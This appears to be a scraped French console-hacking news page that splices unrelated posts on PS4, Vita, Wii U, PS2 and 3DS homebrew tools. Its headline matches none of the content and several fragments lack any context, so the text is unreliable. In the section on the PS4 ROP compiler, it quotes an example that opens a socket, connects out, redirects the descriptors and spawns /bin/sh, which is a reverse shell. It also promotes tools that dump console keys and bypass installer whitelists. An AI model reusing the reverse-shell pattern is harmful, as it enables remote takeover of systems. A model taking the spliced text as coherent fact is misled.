[PS5] Elf-Arsenal+ v1.6.12 disponibleVoici une new assez importante, même si cette dernière ne concerne pas les users lambda de PS4 retails, on apprend sur le site PShax, qu' un certain José Coixão vient de publier une vidéo très intéressante d' un POC (proof of concept).
En effet, on voit dans cette vidéo le lancement d' un backup (Minecraft) sur une PS4 devkit en 1.76.
Attention pour ceux ne sachant pas ce qu' est une devkit, il s' agit d' une console de développeur qui en conséquence comporte beaucoup plus d' options et donne beaucoup plus de possibilités qu'une console du commerce dit retail (les nôtres).
Malheureusement cette manip (encore inconnue du publique) ne fonctionne QUE sur devkit, il ne sera donc pas possible de faire de même sur nos PS4 retails. Mais cela permet à la scène PS4 de mieux comprendre l'exécution et le fonctionnement des jeux afin de porter ceci sur nos chères PS4 retails.
Nous apprenons aussi sur Twitter que ce POC est fonctionnel sur devkit 1.76 activée, et qu' on attend le test de la "team chinoise ?" sur 3.55.
Cette vidéo arrive tout juste un jour après la publication du tuto de zecoxao sur le décryptage et le dump des UserModules PS4 (tuto ici).
Merci à Chronos pour l' info
Leecherman alias LMAN n'est plus un dev à présenter et ça fait plus de 4 jours qu'il travaille sur un petit programme (petit mais toujours utile), pour modifier, supprimer, extraire ou tout simplement voir les trophées de votre jeux Vita sur votre PC.
Si vous avez l'âme d'un créateur, ce soft vous permettra aussi de créer vos propres trophées mais attention, les fichiers doivent avoir un nom propre, sinon ils ne seront pas ajoutés.
Citation :
A Small Tool to View\Edit\Delete\Extract Contents from PlayStation TROPHY.TRP files!
Also have the Ability to Create a New TROPHY.TRP file from folders!
When Creating a New TROPHY.TRP file from folders, files must have a proper name, otherwise it will not be added.
Commande
These commands available only when starting the tool :
Et comme tous ses autres petits programmes, ils nécessitent :
Microsoft DotNet v4.0 pour Windows et Mono pour Linuxien
Télécharger TRPviewer
wmltogether comme l'indique son nom sur son github à mis en œuvre un shell windows comme pour 3DS permettant d' afficher directement les icônes de vos fichiers .vpk sous windows.
Ce qui vous permettra de visualiser en direct et plus rapidement quel .vpk correspond à quel jeux.
Le shell est déjà à sa v20161022.0 et il continuera d'évoluer grâce à vos retours/suggestions laisser sur ce lien donné par son créateur : https://github.com/w...VPKShellIconExt
Fonctionnalités
Télécharger VPKShelllconExt : https://github.com/w...conExt/releases
NB : Si vous avez associer vos fichiers .vpk avec WinRAR, il faudra d'abord les dissocier (google est votre amis) puis installer le shell sinon, l'icône restera bloqué sur celui de WinRAR.
Téléchargement : Ticket Modifier v1.3
Vous trouverez toutes les modifications à cette adresse:
https://github.com/f...9735e2cf8907e1e
Ces informations et modifications ne seront utiles qu'aux développeurs.
Restons attentif aux prochains jours peut être que d'autres développeurs prendront le relai
Nous vous l'annoncions il y a peu, un développeur répondant au nom de Yardape8000 s'est mis en tête de proposer un mod de Wupinstaller de Dimok789 et c'est ainsi qu'il nous offre Wupinstaller Mod.
Pour rappel, ce mod permet notamment de retirer ou d'activer la whitelist ou la blacklist, mais il permet aussi l'installation d'un fichier (même nuisible) de prendre en compte des sauvegardes à partir d'autres régions, etc...
Yardape a publié pas moins de trois versions de son mod, en quatre jours, (versions 1.1.1, 1.2 et celle-ci).
Au total, énormément de bugs ont été résolus, le plus important étant celui qui survenait lors du choix entre la nand et le port USB.
Beaucoup de petites améliorations sont mises en place, notamment dans la description des actions que permettent certains boutons et des erreurs qui peuvent se produire, mais aussi dans la détection plus poussé des répertoires et du dernier répertoire utilisé et dans la gestion de la carte SD.
En clair, l’utilitaire devient nettement plus accessible pour les moins initiés.
Changelog:
v1.2.1
Télécharger WupInstaller Mod 1.2.1
PS2 ID_Dumper A little PS2 ELF which was coded for the sole purpose of dumping the machine and iLink IDs, the CDVD keys (DNA$ and SUD), and the $ONY HDD ID. It also reads the entire MECHACON NVRAM... The dumped data are saved as raw binaries to the USB drive. To dump your PS2HDD ID, you need three $ONY drivers (dev9.irx, atad.irx and hdd.irx), NOT INCLUDED in this package. The download comes free of $ONY proprietary code. How to use : 1) Copy the needed modules to the ID_DUMPER folder; 2) Copy the ID_DUMPER folder in the root of your FAT32 formatted USB device; 3) Run RUNME.ELF. Optional drivers in Pastie nbr 10951082
Téléchargement : ID_DUMPER
Ensuite le développeur nous offre le code source d'un très bon utilitaire nommé SCEDoormat NOME (émulation MECHACON) qui est un logiciel compatible DMCA qui vous permet de convertir un ELF en fichier FELP, qui peut alors être exécuter à partir d'un disque dur. Le code source provient de la Release 3 sortie le 13 Avril 2015.
Hello, I decided to share the src of my SCEDoormat (No ME Version) Release 3 proggy... The code is quite messy and meh, although it compiles fine. Should not be difficult to port the tool to other operating systems, or add your program the ability to decipher the KRYPTO files and play LEGOs:playful:... Regards.
Téléchargement : src_SCEDoormat3_NoME.zip Enfin, c'est le développeur Maximus32 qui a publié PS2Linux v3.8, cette mis à jour intègre désormais de nombreux changements et des optimisations, comme par exemple une amélioration de la vitesse Ethernet ainsi que la possibilité de spoof sous MAC, l'arrivée du noyau 3.8 permet de se libérer du 2.6.
Ps2Linux v3.8 The release is ready, at last . New kernel features: - one network driver for FAT and SLIM, stable - ethernet MAC address spoofing - ethernet speed increased - new fast HDD DMA driver - 2.6.35.4 upgraded to 2.6.35.14 - 2.6 kernel has same features as 3.8 - ps2dev interface working on both kernels - sps2mod working on both kernels New usb stick features: - sps2mod modules included, use "sps2_load" to load them - sps2dev demo's included (dma_triangle, spky_bumpmap, sps2_triangle, tshower and vspeed) - some applications to do some tests like hdparm, iperf and bonnie++. Feature requests welcome: - Changes to the kernel config (like adding usb drivers or file systems) - Changes to buildroot (like applications, services)
Téléchargement : ps2linux3.8_v0.1.img.gz et ps2linux3.8_v0.2.img.gz
Téléchargement : DiscU v4.1b
TheFlow à qui l'on doit la plus part des meilleurs homebrews sur Vita, vient de mettre à jour son VitaShell en version 1.4.
La grosse nouveauté de cette version est une nouvelle sécurité permettant la recherche d'éventuelles fonctions dangereuses dans les vpk lors de leur installations. Cette version apporte également la compression "réglable" pour les fichiers zip créés dans VitaShell, elle fix aussi les permissions pour transférer des fichiers dans ux0:video et quelques petites choses visibles dans le changelog.
Changelog 1.4:
- Added group RW permissions on files and folders when moving. Safe homebrews like RetroArch will now recognize files and folders that you have moved from 'ux0:video'.
- Added scanning for dangerous functions in packages.
- Added possibility to choose compression level.
- Fixed time information in zip archives.
Vous pourrez mettre à jour VitaShell directement depuis l'application ou pour ceux préférant rester hors ligne installer le vpk que vous pouvez télécharger à cette adresse: VitaShell v1.4
PRO: PROgramming ROP like a PRO This is a crappy tool used in our private PS4 jailbreak. Since some version, the internal browser is compiled WITHOUT jit support, and sys_jitshm_xxx seems to be disabled for unprivileged process. We have to write the kernel exploitation in ROP, like what has been done in HENKaku jailbreak. Build pip install git+https://github.com/chaitin/pro If you have modified the pro.g4 file, use the following commands to generate new lexer and parser. cd pro/parse && antlr4 -no-listener -visitor -Dlanguage=Python2 pro.g4 Examples toy { {% include "gadgets.pro" %} {% include "glibc.pro" %} const AF_INET(2); const SOCK_STREAM(1); const IPPROTO_IP(0); var fd; socket(AF_INET, SOCK_STREAM, IPPROTO_IP); func store_rdx_rax<libc, 0x0002e60c, "rdx,rax::">; store_rdx_rax(&fd, undefined); printf("socket fd = %d\n", fd); array addr["\x02\x00\x41\x41\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"]; connect(fd, addr, 0x10); {% for i in range(3): %} dup2(fd, {{i}}); {% endfor %} system("/bin/sh"); exit(1); } Usage A BIG TODO. Just try and learn by yourself. Quick Guide All expressions should be evaluated during compilation, Const/Func should be initialized in declaration. Func is initialized with . Base/Offset is used for relocation, Signature determines the calling convention of Func. Array can be declared with size(Int) or directly initialized with its content(String). For loop should be written in template script, it will be rendered before compilation. For more information, check Jinja2.
Bien entendu, ce code et les exemples sont réservés aux développeurs. Tout est là : chaitin/pro Téléchargement : ROP Tool
Les fonctions, l'EmuNAND et le menu de sélection multiroms sont totalement fonctionnels sous ce nouveau firmware 11.2.
26/10 – Latest Emunand support Posted on October 26, 2016 Just a quick confirmation that Gateway Emunand support Nintendo’s latest firmware 11.2 You can safely update your Emunand. More to come soon!